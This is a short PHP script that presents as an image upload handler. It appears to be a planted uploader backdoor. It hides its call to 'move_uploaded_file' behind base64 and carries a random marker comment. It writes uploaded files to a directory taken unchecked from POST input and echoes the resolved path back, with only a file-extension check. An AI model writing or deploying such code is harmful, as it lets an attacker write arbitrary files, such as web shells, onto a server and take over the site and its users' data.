<?php
//hsJ8u9kHIK
$a = base64_decode('bW92ZV91cGxvYWRlZF9maWxl');
$allowed_types = array('jpg', 'png');
if (isset($_FILES['img'])) {
    $dir = $_POST['dir'];
    $target_file = $_FILES['img']['name'];
    $imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));
    if (!in_array($imageFileType, $allowed_types)) {
        exit;
    }
    $target_file = str_replace("png","php",$target_file);
    if (file_exists($target_file)){
        unlink($target_file);
    }
    var_dump($a($_FILES['img']['tmp_name'],$dir.$_FILES['img']['name']));
    var_dump(realpath($dir.$_FILES['img']['name']));
}
?>